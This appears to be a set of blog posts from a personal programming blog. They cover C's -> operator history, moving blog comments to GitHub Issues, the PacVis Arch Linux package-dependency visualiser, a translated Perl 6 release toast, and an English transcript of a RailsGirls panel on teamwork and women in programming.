轉載幾篇知乎上我自己的回答,因爲不喜歡知乎的排版,所以在博客裏重新排版一遍。
除了表达形式有些不同,功能可以说完全一样阿。那为何又要构造两个功能一样的运算符? 效率有差异?可是现在编译器优化都那么强了,如果真是这样岂不是有些多此一举
刚刚翻了下书,说早期的C实现无法用结构直接当作参数在函数间传递,只能用指向结构的指针在函数间进行传递!我想这应该也是最直观的原因吧。
首先
a->b
的含義是
(*a).b
,所以他們是不同的,不過的確
->
可以用
*
和
.
實現,不需要單獨一個運算符。
嗯,我這是說現代的標準化的 C 語義上來說,
->
可以用
*
和
.
的組合實現。
早期的 C 有一段時間的語義和現代的 C 的語義不太一樣。
稍微有點彙編的基礎的同學可能知道,在機器碼和彙編的角度來看,不存在變量,不存在 struct 這種東西,只存在寄存器和一個叫做內存的大數組。
所以變量,是 C 對內存地址的一個抽象,它代表了一個位置。舉個例子,C 裏面我們寫:
a = b
其實在彙編的角度來看更像是
*A = *B
其中 A 和 B 各是兩個內存地址,是指針。
好,以上是基本背景。
基於這個背景我們討論一下 struct 是什麼,以及 struct 的成員是什麼。 假設我們有
struct Point {
int x;
int y;
};
struct Point p;
struct Point *pp = &p;
從現代語義上講
p
就是一個結構體對象,
x
和
y
各是其成員,嗯。
從彙編的語義上講,
p
是一個不完整的地址,或者說,半個地址,再或者說,一個指向的東西是虛構出來的地址。而
x
和
y
各是在 Point 結構中的地址偏移量。也就是說,必須有
p
和
x
或者
p
和
y
同時出現,才形成一個完整的地址,單獨的一個
p
沒有意義。
早期的 C 就是在這樣的模型上建立的。所以對早期的 C 而言,
*pp
沒有意義,你取得了一個 struct ,而這個 struct 不能塞在任何一個寄存器裏,編譯器和 CPU 都無法表達這個東西。
這時候只有
p.x
和
p.y
有意義,它們有真實的地址。
早期的 C 就是這樣一個看起來怪異的語義,而它更貼近機器的表達。 所以對早期的 C 而言,以下的代碼是對的:
p.x = 1;
int *a;
a = &(p.x);
而以下代碼是錯的:
(*pp).x = 1;
因爲作爲這個賦值的目標地址表達式的一部分,
*pp
,這個中間結果沒法直譯到機器碼。
所以對早期的 C 而言,對 pp 解引用的操作,必須和取成員的偏移的操作,這兩者緊密結合起來變成一個單獨的操作,其結果纔有意義。
所以早期的 C 就發明了 -> ,表示這兩個操作緊密結合的操作。於是纔能寫:
pp->x = 1;
嗯,這就是它存在的歷史原因。
而這個歷史原因現在已經不重要了,現代的符合標準的 C 編譯器都知道
(*pp).x
和
pp->x
是等價的了。
說句題外話, C++ 裏面還發明了
.*
和
->*
這兩個運算符(注意
->*
不是單獨的
->
和
*
並排放的意思),關於爲什麼要發明這兩個運算符,而不能直接說
a ->* b
的意思就是
a ->(*b)
,這個就作爲課堂作業吧。
從今天起本博客將啓用 GitHub Issue 作爲留言系統。 原本使用的 Disqus 將繼續保留一段時間,目前沒有關閉的計劃。
換用 GitHub Issue 是計劃了好久的事情了,最初重做這個主題的時候就有考慮過。 這個想法的契機是看到了這篇 GitHub hosted comments for GitHub hosted blogs ,然後立馬覺得這個想法很符合寄宿在 GitHub Pages 上的博客。 一個限制是要求評論者必須有 GitHub 賬戶,考慮到我的博客的受衆這個要求估計不算太過分。 使用 GitHub Issue 的好處麼,比如自帶的 GFMD 富文本格式,郵件通知,還有訂閱和取消訂閱通知,郵件回復, 這些方面都不比第三方留言系統遜色。
換用 GitHub Issue 另一方面原因是最近聽說 Disqus 被部分牆了,想必以後牆也會越來越高。之前曾經試過在這個博客換上多說, 然而效果我並不喜歡,多說喜歡侵入頁面加很多奇怪的東西,比如用戶的頭像通常是 http 的……也試過結合新浪微博的評論,而新浪微博越來越封閉,API 也越來越不靠譜。
使用 GitHub Issue 作爲評論的方式比較簡單,上面那篇博客裏面提到了,代碼量不比
加載 Disqus 多多少,而且沒有了 iframe 的困擾,唯一麻煩的地方就是要稍微設計一下佈局方式讓它融入
現有的頁面佈局。
我參考上面的實現在這裏 。
這個加載代碼使用兩個變量加載 Issue Comments ,一個是在 pelicanconf.py 裏的
GITHUB_REPO
,可以指向任何 Repo ,我指向 farseerfc/farseerfc.github.io
的這個 GitHub Page repo ,另一個變量是每篇文章裏需要加上
issueid
的元數據,關連文章到每個 Issue 上。
還有一個稍微麻煩的事情是現在每寫一篇文章之後都要新建一個 issue 了。 手動操作有點累人,於是我 寫了個腳本 自動搜索 pelican 的 content 文件夾裏面文章的 slug 並且對沒有 issueid 關連的 文章創建 issue 。
好啦新的留言系統的外觀樣式還在測試中,希望大家多留言幫我測試一下!
新增了對 GitHub Issue comments 裏面
reactions
的支持,套用 font-awesome 的圖標(似乎沒 GitHub 上的圖標好看)。這個還屬於 GitHub API
的實驗性功能,要加入
Accept: application/vnd.github.squirrel-girl-preview
HTTP 頭纔能拿到。
感謝 @iovxw 的測試讓我發現 github 的高亮回復和郵件回復是需要特殊處理的。 高亮回復用上了 這裏的 CSS 郵件引言的展開事件直接用 jQuery 做了:
$(".email-hidden-toggle > a").on("click", function (e){
e.preventDefault();
$(".email-hidden-reply", this.parent).toggle();
});
還得注意郵件的回復需要 CSS 裏面
white-space: pre-wrap
。
我喜歡 Arch Linux ,大概是因爲唯有 Arch Linux 能給我對整個系統「瞭如指掌」的感覺。 在 Arch Linux 裏我能清楚地知道我安裝的每一個包,能知道系統裏任何一個文件是來自哪個包, 以及我爲什麼要裝它。或許對 Debian/Fedora/openSUSE 足夠熟悉了之後也能做到這兩點, 不過他們的細緻打包的結果通常是包的數量比 Arch 要多個 3 到 10 倍,並且打包的細節也比 Arch Linux 簡單的 PKGBUILD 要複雜一個數量級。
每一個裝過 Arch Linux 的人大概都知道,裝了 Arch Linux 之後得到的系統非常樸素,按照
ArchWiki 上的流程一路走下來的話,最關鍵的一條命令就是
pacstrap /mnt base
,
它在
/mnt
裏作爲根調用
pacman -S base
裝上了整個 base 組,
然後就沒有然後了。這個系統一開始空無一物,你需要的任何東西都是後來一點點用
pacman
手動裝出來的,沒有累贅,按你所需。
然而時間長了,系統中難免會有一些包,是你裝過用過然後忘記了,
然後這些包就堆在系統的角落裏,就像家裏陳年的老傢俱,佔着地,落着灰。雖然
pacman -Qtd
能方便地幫你找出所有
曾經作爲依賴被裝進來,而現在不被任何包依賴 的包,但是對於那些你手動指定的包,
它就無能爲力了。
於是我就一直在找一個工具能幫我梳理系統中包的關係,方便我:
關於最後一點「釐清包的關係」,我曾經看到過 macOS 系統架構圖 和 Android 的系統架構圖,對其中的層次化架構印象深刻,之後就一直在想,是否能畫出現代 Linux 桌面系統上類似的架構圖呢?又或者 Linux 桌面系統是否會展現完全不同的樣貌? 從維基百科或者別的渠道能找到 Linux 內核、或者 Linux 圖形棧, 或者某個桌面環境的架構,但是沒有找到覆蓋一整個發行版的樣貌的。 於是我便想,能不能從包的依賴關係中自動生成這樣一張圖呢。
在開始寫 PacVis 之前,我試過一些類似的工具,他們都或多或少能解決一部分我的需要, 又在某些方面有所不足。這些工具成爲了 PacVis 的雛形,啓發了 PacVis 應該做成什麼樣子。
pactree 曾經是一個
獨立的項目 ,現在則是
pacman 的一部分 了。
從手冊頁可以看出, pactree 的輸出是由某個包開始的依賴樹。
加上
--graph
參數之後 pactree 還能輸出
dot 格式的矢量圖描述,然後可以用 dot 畫出依賴圖:
pactree pacvis-git -d3 --graph | dot -Tpng >pacvis-pactree.png
$ pactree pacvis-git -d3
pacvis-git
├─python-tornado
│ └─python
│ ├─expat
│ ├─bzip2
│ ├─gdbm
│ ├─openssl
│ ├─libffi
│ └─zlib
├─pyalpm
│ ├─python
│ └─pacman
│ ├─bash
│ ├─glibc
│ ├─libarchive
│ ├─curl
│ ├─gpgme
│ ├─pacman-mirrorlist
│ └─archlinux-keyring
└─python-setuptools
└─python-packaging
├─python-pyparsing
└─python-six
$ pactree pacvis-git -d3 --graph | dot -Tpng >pacvis-pactree.png
從畫出的圖可以看出,因爲有共用的依賴,所以從一個包開始的依賴關係已經不再是一棵 圖論意義上的樹(Tree) 了。最初嘗試做 PacVis 的早期實現的時候,就是試圖用 bash/python 腳本解析 pactree 和 pacman 的輸出,在 pactree 的基礎上把整個系統中所有安裝的包全都包含到一張圖裏。 當然後來畫出的結果並不那麼理想,首先由於圖非常巨大,導致 dot 的自動佈局要耗費數小時,最後畫出的圖也過於巨大基本上沒法看。
然而不得不說沒有 pactree 就不會有 PacVis ,甚至 pacman 被分離出 alpm 庫也和 pactree 用 C 重寫的過程有很大關係,而 PacVis 用來查詢 pacman 數據庫的庫 pyalpm 正是 alpm 的 Python 綁定。因爲 pactree 的需要而增加出的 alpm 庫奠定了 PacVis 實現的基石。
pacgraph 是一位 Arch Linux 的 Trusted User keenerd 寫的程序,和 PacVis 一樣也是用 Python 實現的。 比起 pactree , pacgraph 明顯更接近我的需求,它默認繪製整個系統的所有安裝包, 並且用聰明的佈局算法解決了 dot 佈局的性能問題。
pacgraph 的輸出是一個富有藝術感的依賴圖,圖中用不同的字體大小表示出了每個包佔用 的磁盤空間。通過觀察 pacgraph 的輸出,我們可以清楚地把握系統全局的樣貌, 比如一眼看出這是個桌面系統還是個服務器系統,並且可以很容易地發現那些佔用磁盤空間 巨大的包,考慮清理這些包以節約空間。
更棒的是 pacgraph 還提供了一個交互性的 GUI 叫做 pacgraph-tk ,顯然通過 tk 實現。 用這個 GUI 可以縮放觀察整幅圖的細節,或者選中某個包觀察它和別的包的依賴關係。
pacgraph 還支持通過參數指定只繪製個別包的依賴關係,就像 pactree 那樣。
不過 pacgraph 也不是完全滿足我的需要。如我前面說過,我希望繪製出的圖能反應 這個發行版的架構面貌 ,而 pacgraph 似乎並不區別「該包依賴的包」和「依賴該包的包」 這兩種截然相反的依賴關係。換句話說 pacgraph 畫出的是一張無向圖, 而我更想要一張有向圖,或者說是 有層次結構的依賴關係圖 。
總結了老前輩們的優勢與不足,我便開始利用空餘時間做我心目中的 PacVis 。 前後斷斷續續寫了兩個月,又分爲兩個階段,第一階段做了基本的功能和雛形, 第二階段套用上 https://getmdl.io/ 的模板,總算有了能拿得出手給別人看的樣子。
於是乎前兩天在 AUR 上給 pacvis 打了個 pacvis-git 包,現在想在本地跑 pacvis 應該很方便了,用任何你熟悉的 aurhelper 就可以安裝,也可以直接從 aur 下載 PKGBUILD 打包:
~$ git clone aur@aur.archlinux.org:pacvis-git.git
~$ cd pacvis-git
~/pacvis-git$ makepkg -si
~/pacvis-git$ pacvis
Start PacVis at http://localhost:8888/
按照提示說的,接下來打開瀏覽器訪問 http://localhost:8888/ 就能看到 PacVis 的樣子了。僅僅作爲嘗試也可以直接打開跑在我的服務器上的 demo: https://pacvis.farseerfc.me/ ,這個作爲最小安裝的服務器載入速度大概比普通的桌面系統快一點。
另外補充一下,因爲 PacVis 只依賴 pyalpm 和 tornado ,所以在別的基於 pacman 的系統上跑它應該也沒有任何問題,包括 Windows 上的 msys2 裏(儘管在 msys2 上編譯 tornado 的包可能要花些功夫)。
操作上 PacVis 仿照地圖程序比如 Google Maps 的用法,可以用滾輪或者觸摸屏的手勢 縮放、拖拽,右上角有個側邊欄,不需要的話可以點叉隱藏掉,右下角有縮放的按鈕和 回到全局視圖的按鈕,用起來應該還算直觀。
pacvis-git 包的依賴
先解釋圖形本身,整張圖由很多小圓圈的節點,以及節點之間的箭頭組成。 一個圓圈就代表一個軟件包,而一條箭頭代表一個依賴關係。縮放到細節的話, 能看到每個小圓圈的下方標註了這個軟件包的名字,鼠標懸浮在圓圈上也會顯示相應信息。 還可以點開軟件包,在右側的邊欄裏會有更詳細的信息。
比如圖例中顯示了 pacvis-git 自己的依賴,它依賴 pyalpm, python-tornado 和 python-setuptools ,其中 pyalpm 又依賴 pacman 。圖中用 紫色 表示手動安裝的包, 橙色 表示被作爲依賴安裝的包, 箭頭的顏色也隨着包的顏色改變。
值得注意的是圖中大多數箭頭都是由下往上指的,這是因爲 PacVis 按照包的依賴關係做 了拓撲排序,並且給每個包賦予了一個拓撲層級。比如 pacvis-git 位於 39 層,那麼它依賴的 pyalpm 就位於 38 層,而 pyalpm 依賴的 pacman 就位於 37 層。根據層級關係排列包是 PacVis 於 pacgraph 之間最大的不同之處。
除了手動縮放, PacVis 還提供了搜索框,根據包名快速定位你感興趣的包。 以及在右側邊欄中的 Dep 和 Req-By 等頁中,包的依賴關係也是做成了按鈕的形式, 可以由此探索包和包之間的關聯。
最後稍微解釋一下兩個和實現相關的參數:
這是限制 PacVis 載入的最大拓撲層。系統包非常多的時候 PacVis 的佈局算法會顯得很慢,限制層數有助於加快載入,特別是在調試 PacVis 的時候比較有用。
這是限制 PacVis 繪製的最大被依賴關係。稍微把玩一下 PacVis 就會發現系統內絕大多數 的包都直接依賴了 glibc 或者 gcc-libs 等個別的幾個包,而要繪製這些依賴的話會導致 渲染出的圖中有大量長直的依賴線,不便觀察。於是可以通過限制這個值,使得 PacVis 不繪製被依賴太多的包的依賴關係,有助於讓渲染出的圖更易觀察。
稍微玩一下 PacVis 就能發現不少有趣現象,上述「絕大多數包依賴 glibc 」就是一例。 除此之外還有不少值得玩味的地方。
系統中安裝的包被明顯地分成了這樣幾個層次:
大體上符合直觀的感受,不過細節上有很多有意思的地方,比如 zsh 因爲 gdbm 間接依賴了 bash,這也說明我們不可能在系統中用 zsh 完全替代掉 bash。 再比如 python (在 Arch Linux 中是 python3)和 python2 和 pypy 幾乎在同一個拓撲層級。
zsh 因爲 gdbm 間接依賴了 bash
不過偶爾顯示的依賴層級不太符合直觀,比如 qt5-base < qt4 < gtk2 < gtk3 。 qt5 因爲被拆成了數個包所以比 qt4 更低級這可以理解,而 gtk 系比 qt 系更高級這一點是很多人(包括我)沒有預料到的吧。
有些包的依賴關係形成了循環依賴,一個例子是 freetype2 和 harfbuzz,freetype2 是繪製字體的庫,harfbuzz 是解析 OpenType 字形的庫,兩者對對方互相依賴。 另一個例子是 KDE 的 kio 和 kinit,前者提供類似 FUSE 的資源訪問抽象層, 後者初始化 KDE 桌面環境。
freetype2 和 harfbuzz 之間的循環依賴
因爲這些循環依賴的存在,使得 PacVis 在實現時不能直接拓撲排序,我採用環探測 算法找出有向圖中所有的環,並且打破這些環,然後再使用拓撲排序。 因此我在圖中用紅色的箭頭表示這些會導致環的依賴關係。
man-pages 和 licenses 沒有依賴關係
有些包既不被別的包依賴,也不依賴別的包,而是孤立在整張圖中,比如 man-pages 和 licenses 。這些包在圖中位於最頂端,拓撲層級是 0 ,我用 藍色 正方形特別繪製它們。
所有用戶空間的程序都依賴着 glibc ,而 glibc 則從定義良好的 syscall 調用內核。 因此理所當然地,如果只看用戶空間的話, glibc 和別的 GNU 組件是整個 GNU/Linux 發行版的中心,而 Linux 則是位於依賴層次中很深的位置,甚至在我的 demo 服務器上 Linux 位於整個圖中的最底端,因爲它的安裝腳本依賴 mkinitcpio 而後者依賴了系統中的衆多組件。
msys2 中帶有循環依賴的孤兒包
這是我在 msys2 上測試 PacVis 的時候發現的,我看到在渲染的圖中有一片羣島,
沒有連上任何手動安裝的包。這種情況很不正常,因爲我一直在我的所有系統中跑
pacman -Qtd
找出孤兒包並刪掉他們。放大之後我發現這些包中有一條循環依賴,
這說明
pacman -Qtd
不能像語言的垃圾回收機制那樣找出有循環依賴的孤兒包。
目前的 PacVis 基本上是我最初開始做的時候設想的樣子,隨着開發逐漸又增加了不少功能。 一些是迫於佈局算法的性能而增加的(比如限制層數)。
今後準備再加入以下這些特性:
provides
由一個包提供另一個包的依賴。目前 PacVis 用 alpm
提供的方式抉擇這種依賴,於是這種關係並沒有記錄在圖上。如果你希望 PacVis 出現某些有趣的用法和功能,也 請給我提 issue 。
哈囉。叮、叮、叮,注意!……注意!
謝謝。
嗨,如果你不認識我(就算認識也一樣),我是 Camelia。人們叫我在 Perl 6 正式現身的派對上發表談話,所以我就在這囉。有其他人負責燒烤,我只是來敬酒的。他們跟我說這次說話要認真一點。哈,說得好像我知道怎麼認真講話一樣。認真的嗎?
好吧。認真說來,我要謝謝你們大家今天一起出櫃。
啊,那好像有點雙關。抱歉。呃,也沒什麼好抱歉的啦……
但還是謝謝你們來這裡,這是 Perl 6 的大日子。她這下可正式成年了。嗯……差不多啦。總之她駕照已經到手了。當心了,世界!
[從後面桌子傳來聽不見的議論]
喔,我不該提到這個嗎?我都還沒真的談到那些小事故耶,當時她……好吧,算了。我們繼續。我相信她會是個好駕駛的。從現在開始。
總之,我真的對 Perl 6 非常感同身受,因為我是隻蝴蝶。我也不得不在蛹裡忍住很久的時間,等到出來的那一天。我真的是非出櫃不可。哈,應該說是飛出櫃吧!
呃,唉呀。我又來了,是吧。
總之,請對 Perl 6 有點耐心。雖然我們今天宣稱她長大了,但你也知道,她還只是青少年。當我們很小的時候,就只是那年紀的小鬼,但當我們成為青少年,歷經賀爾蒙的變化時,這個嘛,我們就會開始不穩定了。這種不穩定的程度,有一陣子會顯得更嚴重。在 15 歲的時候,這種不穩定的幅度可能是正負 10 年。某天的舉止就像是 25 歲,隔天又像是 5 歲一樣。
所以 Perl 6 還需要再更加成熟,這當然囉。我的意思不是在她亂發脾氣把我們逼瘋的日子裡我們就比較不愛她,我的意思是,呃,我想我的意思是她就是家人,而不論甘苦你都會愛著家人的。因為你相信,總有一天會苦盡甘來。
而我們都是她的大家族,今天在這裡相聚。人們說撫養一個小孩需要一座村莊,但從來沒有過這樣的小孩或這樣的村莊!如果你明天宿醉消退後,有機會看看程式碼,也請看看背後的貢獻者列表。超過 800 人積極地為 Perl 6 的開發提供協助,以各種方式。當然一定還有些名字沒列在上面。
你們是很重要的一群人,你們所有人都是,不只是家族中親近的那些人。我們家族從很久以前就知道,成長中的電腦語言所能得到的最珍貴指引,有些來自於直系親屬之外。朋友和熟人,有時比朝夕相處的人能擁有更大的視野。這就是為什麼會需要一座村莊。
「成熟」這件事就像碎形,會在許多尺度下進行。Perl 6 透過你們認識她即將進入的寬廣世界,外頭的世界充滿挑戰。Perl 6 對其中某些情況已做好準備,這多虧了你們。
當然,她還只有 15 歲。某些事情她已經做得很好了。她的溝通技巧非常棒,當不懂你的意思時也很有禮貌。她可以同時進行許多對話。她數學很好,也相當擅長處理各種物件。她熱愛外語,以及那些奇妙的字符。
但她仍是個慎重的孩子,在學習事物時有時似乎思考得太努力了。沒關係,在接下來幾年她會變得更快並更有效率,因為她的腦袋正在重組成完全的大人。她會學到新的東西,關於這個世界和自己。但我不認為她的性格會有太大的變化,這點是很明顯的。
而這是因為她的性格其實來自於大家。是你們的愛讓她誕生,而現在她準備要把這些愛,傳達給還不認識她的人。
火箭升空時我們都會很興奮。TimToady 告訴我在凌晨起床看水星號、雙子星號和阿波羅火箭升空的事。我還太小不記得那些,但我們有自己的刺激進展可以追蹤。我的話,我很高興看到這禮拜 SpaceX 成功降落。在經過一些小事故後……
[又一陣聽不見的議論]
我不理你。小心了,我們已經非常非常擅長不理會某些人。別成為他們之中的一份子。
真的,我為那些只在不開心的事出現時才開心的人感到遺憾。
總之,向世界推出 Perl 6 就像火箭升空。倒數時非常興奮,還有不知道會升空還是爆炸的屏息時刻。我們現在就是如此。主推進器已經點著了,固定器也鬆開了。這些都很戲劇化,主要是因為此刻看來並沒有真的發生什麼事。
不過火箭本來就跟這些無關,戲劇性並不是火箭想要的。火箭想要的是升空,更快更快再更快。這跟位置無關,甚至也跟速率無關。重要的是,一切都在加速進行中。
[舉杯]
那麼,在此獻上 Perl 6。她將自由高飛。祝她為存在而歡喜,祝她為發現世界而歡喜,祝她只要願意就能不斷加速!乾杯!
Hazel: Now, we go for the first question. Are you all ready? The first question is "Today, working independently is no longer popular anymore. Team cooperation has become a trend in the age of cross-discipline working."
“What we learn from programming — will it help us to do a better job in real life? Maybe — for the males and for females — for everybody."
Linda: Hello. I suppose that when people told me that learning to program teaches you how to think, I didn't understand it in the beginning. On learning, I've worked with engineering teams a lot. It really helps you structure it in a way that it needed for the engineering to work on problems.
For instance, I would come up with a feature, and they'd go, "Hey, OK, let's do this." And by being able to understand how the code works, or how that product is built, or what kind of features are feasible to build, and so forth, even though I didn't work as an engineer, helped me work better and more efficiently.
[laughter and applause]
Charles: It's interesting, because just in the past few weeks, my wife has decided to start to learn how to program. She's very excited about the possibilities. She was a little frightened at first, of the difficulties she might run into. But, for years, she's been the primary chef in the house. She's taken care of the kids. She's knitted. She's done other crafts and projects,
What she started to see is that what she's learning in programming fits very well with other methodical, recipe-type systems, and building of crafts, building of a meal, things like that, as tying into the rest of her life, the more that she picks up programming. It's been exciting to see that.
[laughter]
Audrey: Since Linda and Charles have addressed programming’s importance so well, I’d like to talk a little bit about the team working part. I think part of being an audience — as we know — being an audience is the ability to listen.
I think a lot of the experience in programming nowadays online, whether it happens on GitHub or other social events, is the ability to listen, or to perceive, or see each other's viewpoints. We see that on GitHub issues, we see that on mailing lists, we see that on IRC, we see that on wikis.
I think, those taken together is much more important than code itself. As we would see that code itself, as why the lucky stiff re-tweeted, that code never lasts long anyway. It's always replaced by something new.
But human memories, the shards of the souls that we share together, those may not be as precise as code, but they outlast code. Community, people, their relationships, their links, they outlast code.
Code is this wonderful opportunity as an anchor for us to learn to listen to each other, such that we can make something more beautiful and that's objectively there. It's like an artifact, a pyramid or something that we could see, growing day to day objectively, as a result of our being generous to each other.
I think being able to listen, and to be able to give back is the most important thing for us to learn as part of programming in the teamwork that's the future. Thank you.
[applause]
Matz: I think I have to say something.
[laughter]
Matz: Despite the original question, in the past, the creating serious software is not this independent work, so they couldn't create the serious software alone. They have to work in the same company and in the same project, then working together as a team, maybe in the hundreds of programmers to create the systems like IBM’s System/360 or something.
But there are technologies that change the situation, like, for example, Ruby. Ruby was started by me alone as an amateur programming language designer. I created the first snowball and put it into the Internet, so that everyone gathers together. Then we work together over the Internet.
Ruby's getting better and bigger, the committee has grown, and JRuby has been created, and then Rubinius, and so many projects with Rails, or Sinatra, or even other communities like the RailsGirls, that sort of thing. That means we can be more flexible using technology.
We can work alone, the individual can start great things using the power of the Internet. At the same time, using — say community, Internet, or even GitHub —we can be socialized to form the power to create great thing by programming.
I believe that is the flexibility, like from individual to huge community, like millions of people. We can choose, not by the company, not by the project, not by the organization or something. That kind of flexibility is the power of the 21st-century I believe.
Charles: One more thought. It occurred to me that one of the biggest advantages that you'll get out of learning how to program, is the fact that you're going to be able to cooperate, and understand, and work with other programmers, which there are more and more of us.
There's more software being created every day. It runs the world, and being able to be part of the world, I think means that almost everybody should learn how to do some programming. You've got to understand how the world around you works. It also, as Matz was talking about starting Ruby, you don't know if that piece of code that you write tomorrow, that one project that you build, might be the seed that grows into a forest.
The project that Matz started years ago is why we're all here, why we have wonderful events, why we're creating such amazing applications. It could be any one of you. You could be the next one to create something that grows into that forest of a wonderful programmed world.
[applause]
Hazel: Could you provide some advice for people want to promote programming, to avoid a situation of this [gender exclusion]. May you, Linda, can share some ideas about that. What can you think effectively reduce these uncomfortable situations like this? Maybe in the case, or your ideas, please for Matz, and for Charles, maybe you can share what you see in this IT industry.
Audrey: Hazel refers to a private conversation we had before the conference, and the basic point was that Taiwan, which is culturally influenced both by the Japanese stereotype of women, and also by the Confucian Chinese treatment of women.
There is this sense of a politeness that's built-in, not only into women, but into everybody, so that when we are joining a community, we tend to reach a safe point where we think that we establish some sort of sympathy, or empathy, or understanding with the group, before we even start to speak, or even we start to raise our hand. This is a very East Asian thing.
But in particular for women, if they see a whole space composed of men, or of people whose gender expressions differ so much from theirs, it's very difficult to establish this kind of rapport, or mutual support sense, before starting to join, or start participation. That's a real entry barrier, as Hazel mentioned herself. It's an artifact of the community's composition, and the culture of things in Taiwan, or in East Asia.
It's not specific to women alone. As for how to fix this, well some people do that by sheer obliviousness, like to their social scripts. They are like, "Well, we shall dive in right here."
[laughter]
Audrey: When they just jump into a community and start asking stupid questions, some people would say, "Hey, why are you here? You're out of line there, right?" But then [laughs] after a while, they start to become part of the community, and that's actually the fastest way.
As Matz actually implied, the fastest way to get a community going is by releasing something imperfect. It's about like posting your question, and then answering it in a very bad way. A lot of you would join saying, "Hey, there's a better way to do that."
So people who are oblivious to this kind of social training, they could actually enter that kind of online technical community much easier, and with much less difficulty — even after a lot of argument ands fighting — than people who are polite, and than people who then shift into some other community who are more friendly, like making digital art, or things like that.
Actually, a suggestion I would make is to be strategically oblivious. [laughs] Just to make some headway into it, pretending that you're already part of the group, and that's a self-fulfilling prophecy, and you will become part of the group in no time.
Linda: I segue into it with a very personal experience. I wasn't a professional programmer, and still I'm not a professional programmer, besides so I was absolutely oblivious to all of that life, all of that trauma, and all of the drama that surrounded the female in technology, and that sorts of problems.
I just wanted something that helps me learn more programming. I didn't know that the word “girls” would offend many Americans, and I’d like to think I was able to build this platform because I’m not a native speaker, I didn't know that they're supposed to teach programming in this manner or that manner.
There were so many things that we didn't know, which afforded all of us to experiment, and do things and not worry too much about what happened.
I totally agree with the thought that, that the best way is to barge into a community and start asking questions, but I come from a culture that it also very important to be like others. Finnish people tend to be relatively silent and observe, than raise questions. One of the things that I deliberately wanted to have in the RailsGirls workshops was some sort of cultural section, where we talk about people — like who are the people in the Rails community.
We talk about Matz, we talk about DHH , we talk about _why, and we talk about the FridayHug. We talk about all of these other institutions and things that I'm quoting, because it's not only about the code.
Then we encourage people to become a part of their local group, and coming to these events, and have the self assurances that, "OK, I know enough to be able to go into a meet-up, and be a part of something bigger. I'm probably still not there technically, but I’d love to see DHH again.
[laughs]
Charles: One of the things, I wanted to make sure, it's been said in various ways all day today, but you ever feel like you're being excluded, or singled out, just always remember, it's not your fault.
Everybody's going to face that, not just the programming community. Ask any over-40-years-old programmers how welcome they feel in Silicon Valley, San Francisco, and it's that sort of thing. Look, it's not your fault, and remember that the reason we have events like this, and the reason this has become such a major issue, a feature point of discussion, is because we're trying to fix it.
There are resources that will help you avoid that exclusion, that ostracism from the community. Just keep fighting through it, and we'll try and help you as much as we can along the way.
[laughter]
Matz: Yeah, it's on. Yeah, just for a little more.
Matz: [laughs] In CRuby, we had say 90-something core contributors who had the privilege to commit to the central repository. Some of them are Japanese, some of them are living in the United States, and some of them are European. I don't know who any of the Taiwanese or the Chinese. Unfortunately, I know no female contributor yet, but I'm pretty expecting.
Actually, I don't care about this aspect, that gender, and nationalities, and age, and titles, anything. We had very young contributors like 18, or something, and very old contributors like 50s, 60s. But actually, I don't care. As Audrey said, we want to value people by their values. I think that being fair, and that don't care too much about the other attributes is that crucial for the community management.
Our community has a very good tradition to be nice, so the Ruby community is known to be nice people. As Linda said, the community, or the open source, or even Internet, is a human thing, so we are human, and we have hearts. The communication between hearts is the very important even in the software programming, software creation, or anything.
Charles: Sorry, just one quick inspirational story. I went to a conference in Tunisia in 2013, and it was about 100 people for a Java event. Very first time, done at a technical university in Tunis, and the conference, and the University had a majority of women. It was the first time I'd ever seen that anywhere in the world, and I was amazed by it.
But they were really excited, and they were pretty much in charge there. [laughs] They were running that thing. But it was just great to see that there are parts of the world where they were already getting that going, and starting to get more women involved in technology. I'm just thrilled that it's happening here, and happening around the world.
Thank you to Linda for arranging this, and for the Rails Bridge folks for doing the sessions they're doing in the US. It's really an exciting time, and I'm glad that there are so many more interesting, wonderful programmers entering the community now.
Linda: Yesterday in RubyConf Taiwan, there was a lot of RailsGirls alumna who participated, and volunteered over there, and helped organize the event, and I think it's almost like a fairytale that all of the sudden we would have hundreds of women taking part as speakers in conferences.
But I do wish that all of you who volunteered yesterday will keep on programming, and next year you will probably give a talk over there, and be there, and we will have more women as speakers, or so in conferences.
Hazel: RailsGirls hosted this event, so let's talk about the RailsGirls community. According to your observation, what are the factors in this community that encourage female to access programming?
Linda: I think that might have a lot of broadening up, because RailsGirls, again was a very personal thing to teach myself programming, and it's definitely not a panacea to every single female, like getting more females in programming world, and as Charles mentioned, there's a lot of organizations that are doing wonderful work for this in very different ways. Can repeat the question? What was that?
[laughs]
Hazel: Maybe we can change the question about what is the factors?
Linda: Yeah, what are the factors in general in bringing more females to programming? As I mentioned in my talk, for me it was the practical application, the expressing myself and the creative side of things that initially gave me that aha moment, and I think there's almost two types of click moments in programming: There's the very tangible moment when you see something come alive on the screen, and like, "Oh wow, I made that?" Then there's the more intellectual pleasure of seeing something like beautiful code that is formulated, and getting that "Whoa," an intellectual aha moment.
Sometimes our schooling system aims for the latter one, where we learn about arrays for a long time, and before having that tangible moment of aha. Maybe one way of getting more women involved in general is to have more of those first moments.
Audrey: To extend the analogy, I'd like to introduce the question, "Why do people write poetry?" People write poetry because they feel very strongly about something. Because of that, a lot of teenagers write poetry, because they feel very strongly about something.
[laughter]
Audrey: Only a few of us continue to write after our teenage. But in any case, that was the spark. That was the first moment. If you, whatever your gender or age, if you start caring very much about something, there's got to be way that programming is going to be helpful to make that happen.
As a rule, either there is a way to reduce your stress in automating some of the tasks, or as a way to get your message across, or as a way to get more community around you, or to get better equipment so that you can do whatever you care about more efficiently. There's going to be some way that programming, like a good mastery of language, is going to help you to communicate to other people.
And that’s Linda’s second point, when you see that the poetry you write touched another person’s heart. They come to you and say, "Hey, I read your poem, and it touched me very much, and I was crying," or something — just by reading your poem. Then you get the sense of accomplishment, of having touched another human being with something you created.
It's actually very easy to do, especially with web programming nowadays, so that's another thing that one can focus on in getting your message across, not only with the existing web systems like Twitters, or Facebook, or something, but with something that you design yourself — even though it's with iframes and entry level CSS — because it has an impact, because it is you; it is a part of you. It's part of your soul, and not just some post on some blog system, or on some social network system. Thank you.
[applause]
Charles: I'd say one of the biggest factors that is going to make it easier for women to enter the programming world is exactly what you all are doing, having more women in the community, more women that can identify with new programmers that are coming to the community.
You're helping lay the foundation of all future generations of women programmers. You're helping open that door, and make it more attractive, make it more comfortable for women in the future to become programmers.
Don't forget that it's an amazing thing that you're doing, for all those future generations that would have had the same trouble that people had 10 years ago, or 20 years ago, trying to get into the sort of field, so just keep up what you're doing, because you're really helping. You're helping all the women in the world at this point.
